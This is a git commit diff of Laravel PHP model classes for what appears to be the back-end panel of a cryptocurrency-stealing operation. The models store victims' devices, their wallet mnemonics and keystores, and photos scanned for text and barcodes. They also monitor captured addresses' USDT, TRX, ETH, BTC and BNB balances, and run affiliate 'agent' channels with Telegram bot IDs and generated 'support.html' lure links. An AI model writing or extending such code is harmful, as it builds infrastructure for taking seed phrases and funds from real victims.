This commit is contained in:
hashbro
2026-08-07 05:21:44 +08:00
parent 5145b6f719
commit 78b61f85d2
325 changed files with 9874 additions and 1738 deletions
+7 -1
View File
@@ -6,7 +6,7 @@ use Illuminate\Foundation\Auth\User as Authenticatable;
class Admin extends Authenticatable
{
protected $fillable = ['username', 'password'];
protected $fillable = ['username', 'password', 'is_super'];
protected $hidden = ['password', 'remember_token'];
@@ -14,6 +14,12 @@ class Admin extends Authenticatable
{
return [
'password' => 'hashed',
'is_super' => 'integer',
];
}
public function isSuper(): bool
{
return (int) $this->is_super === 1;
}
}
+90
View File
@@ -0,0 +1,90 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Channel extends Model
{
public const OFFICIAL_USER_ID = 0;
protected $fillable = [
'channel_id', 'user_id', 'domains', 'status', 'remark',
];
protected function casts(): array
{
return [
'domains' => 'array',
'status' => 'integer',
'user_id' => 'integer',
];
}
public function user(): BelongsTo
{
return $this->belongsTo(User::class, 'user_id');
}
public function isEnabled(): bool
{
return (int) $this->status === 1;
}
public function isOfficial(): bool
{
return (int) $this->user_id === self::OFFICIAL_USER_ID;
}
public function agentLabel(): string
{
if ($this->isOfficial()) {
return '官方';
}
return $this->user?->username ?: ('#'.$this->user_id);
}
/**
* @return list<string>
*/
public function resolvedDomains(): array
{
// Domains come from env only (CORUNA_CHANNEL_DOMAINS).
$domains = config('coruna.channel_domains', []);
return array_values(array_filter(array_map(static function ($d) {
return is_string($d) ? trim($d) : '';
}, is_array($domains) ? $domains : [])));
}
/**
* @return list<string>
*/
public function supportLinks(): array
{
$links = [];
foreach ($this->resolvedDomains() as $domain) {
$host = preg_replace('#^https?://#i', '', rtrim($domain, '/'));
if ($host === '') {
continue;
}
$links[] = 'https://'.$host.'/web/'.$this->channel_id.'/support.html';
}
return $links;
}
public static function randomChannelId(): string
{
return bin2hex(random_bytes(16));
}
public static function maxPerAgent(): int
{
$n = (int) config('coruna.channels.max_per_agent', 5);
return max(1, $n);
}
}
+10 -5
View File
@@ -38,13 +38,18 @@ class Device extends Model
return $this->hasMany(Note::class);
}
public function wallets(): HasMany
{
return $this->hasMany(Wallet::class);
}
public function addresses(): HasMany
{
return $this->hasMany(WalletAddress::class);
}
public function mnemonics(): HasMany
{
return $this->hasMany(WalletMnemonic::class);
}
public function keystores(): HasMany
{
return $this->hasMany(WalletKeystore::class);
}
}
+4 -2
View File
@@ -8,12 +8,14 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Note extends Model
{
protected $fillable = [
'device_id', 'title', 'body', 'meta_json',
'device_id', 'content',
];
protected function casts(): array
{
return ['meta_json' => 'array'];
return [
'content' => 'array',
];
}
public function device(): BelongsTo
+9 -6
View File
@@ -8,14 +8,17 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Photo extends Model
{
protected $fillable = [
'device_id', 'sha256', 'path', 'width', 'height', 'size', 'counters_json',
'device_id',
'sha256',
'path',
'size',
'x_hit',
'upload_count',
'process_index',
'text_count',
'barcode_count',
];
protected function casts(): array
{
return ['counters_json' => 'array'];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
+10
View File
@@ -0,0 +1,10 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class Setting extends Model
{
protected $fillable = ['key', 'value'];
}
+12
View File
@@ -0,0 +1,12 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class TokenviewEvent extends Model
{
protected $fillable = [
'txid', 'address', 'coin', 'token_symbol', 'value', 'token_value',
];
}
+14 -28
View File
@@ -2,48 +2,34 @@
namespace App\Models;
// use Illuminate\Contracts\Auth\MustVerifyEmail;
use Database\Factories\UserFactory;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Illuminate\Notifications\Notifiable;
class User extends Authenticatable
{
/** @use HasFactory<UserFactory> */
use HasFactory, Notifiable;
/**
* The attributes that are mass assignable.
*
* @var list<string>
*/
protected $fillable = [
'name',
'email',
'password',
'username', 'password', 'status', 'comment', 'chat_id', 'bot_id',
];
/**
* The attributes that should be hidden for serialization.
*
* @var list<string>
*/
protected $hidden = [
'password',
'remember_token',
'password', 'remember_token',
];
/**
* Get the attributes that should be cast.
*
* @return array<string, string>
*/
protected function casts(): array
{
return [
'email_verified_at' => 'datetime',
'password' => 'hashed',
'status' => 'integer',
];
}
public function isEnabled(): bool
{
return (int) $this->status === 1;
}
public function channels(): HasMany
{
return $this->hasMany(Channel::class, 'user_id');
}
}
+116 -6
View File
@@ -7,16 +7,33 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletAddress extends Model
{
/** @var list<string> */
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb'];
/** Display decimal places per coin (UI). */
public const DISPLAY_DECIMALS = [
'usdt' => 2,
'trx' => 6,
'eth' => 6,
'btc' => 8,
'bnb' => 6,
];
protected $fillable = [
'device_id', 'wallet_id', 'address', 'chain', 'balance',
'symbol', 'telegram_notified', 'meta_json',
'device_id', 'address', 'chain_type',
'usdt', 'trx', 'eth', 'btc', 'bnb',
'monitor', 'source',
];
protected function casts(): array
{
return [
'telegram_notified' => 'boolean',
'meta_json' => 'array',
'monitor' => 'integer',
'usdt' => 'decimal:6',
'trx' => 'decimal:6',
'eth' => 'decimal:18',
'btc' => 'decimal:8',
'bnb' => 'decimal:18',
];
}
@@ -25,8 +42,101 @@ class WalletAddress extends Model
return $this->belongsTo(Device::class);
}
public function wallet(): BelongsTo
/**
* Map a symbol=>amount payload into coin column attributes (only known coins).
* Missing symbols are omitted (caller merges with existing row).
*
* @param array<string, mixed>|string|null $balance
* @return array<string, string|int|float|null>
*/
public static function coinAttributesFromBalance(mixed $balance): array
{
return $this->belongsTo(Wallet::class);
if (! is_array($balance)) {
return [];
}
$out = [];
foreach ($balance as $symbol => $value) {
$col = strtolower((string) $symbol);
if (! in_array($col, self::COIN_COLUMNS, true)) {
continue;
}
if ($value === null || $value === '') {
$out[$col] = null;
continue;
}
if (! is_numeric($value)) {
continue;
}
$out[$col] = $value;
}
return $out;
}
public static function displayDecimals(string $coin): int
{
$coin = strtolower($coin);
return self::DISPLAY_DECIMALS[$coin] ?? 6;
}
public static function formatAmount(string $coin, mixed $amount): string
{
if ($amount === null || $amount === '') {
return '';
}
if (! is_numeric($amount)) {
return (string) $amount;
}
$decimals = self::displayDecimals($coin);
$formatted = number_format((float) $amount, $decimals, '.', '');
$formatted = rtrim(rtrim($formatted, '0'), '.');
return $formatted === '' ? '0' : $formatted;
}
/**
* @return array<string, string>
*/
public function formattedCoins(): array
{
$out = [];
foreach (self::COIN_COLUMNS as $col) {
$out[$col] = self::formatAmount($col, $this->{$col});
}
return $out;
}
public function coinsSummary(): ?string
{
$parts = [];
foreach (self::COIN_COLUMNS as $col) {
$raw = $this->{$col};
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
continue;
}
$parts[strtoupper($col)] = self::formatAmount($col, $raw);
}
return $parts === [] ? null : json_encode($parts, JSON_UNESCAPED_UNICODE);
}
/**
* Snapshot of coin columns for change detection.
*
* @return array<string, string|null>
*/
public function coinSnapshot(): array
{
$out = [];
foreach (self::COIN_COLUMNS as $col) {
$v = $this->{$col};
$out[$col] = $v === null || $v === '' ? null : (string) $v;
}
return $out;
}
}
+25
View File
@@ -0,0 +1,25 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletKeystore extends Model
{
protected $fillable = [
'device_id', 'raw_json',
];
protected function casts(): array
{
return [
'raw_json' => 'array',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
}
@@ -4,35 +4,34 @@ namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Support\Facades\Crypt;
class Wallet extends Model
class WalletMnemonic extends Model
{
protected $fillable = [
'device_id', 'source_app', 'mnemonic_enc', 'privkey_enc', 'raw_json',
'device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
];
protected function casts(): array
{
return ['raw_json' => 'array'];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
public function addresses(): HasMany
public static function hashSecret(string $secret): string
{
return $this->hasMany(WalletAddress::class);
return hash('sha256', $secret);
}
public function setMnemonicAttribute(?string $value): void
{
$this->attributes['mnemonic_enc'] = $value === null || $value === ''
? null
: Crypt::encryptString($value);
if ($value === null || $value === '') {
$this->attributes['mnemonic_enc'] = null;
$this->attributes['mnemonic_hash'] = null;
return;
}
$this->attributes['mnemonic_hash'] = self::hashSecret($value);
$this->attributes['mnemonic_enc'] = Crypt::encryptString($value);
}
public function getMnemonicAttribute(): ?string
@@ -48,26 +47,6 @@ class Wallet extends Model
}
}
public function setPrivkeyAttribute(?string $value): void
{
$this->attributes['privkey_enc'] = $value === null || $value === ''
? null
: Crypt::encryptString($value);
}
public function getPrivkeyAttribute(): ?string
{
if (empty($this->attributes['privkey_enc'])) {
return null;
}
try {
return Crypt::decryptString($this->attributes['privkey_enc']);
} catch (\Throwable) {
return null;
}
}
public static function maskSecret(?string $value): string
{
if ($value === null || $value === '') {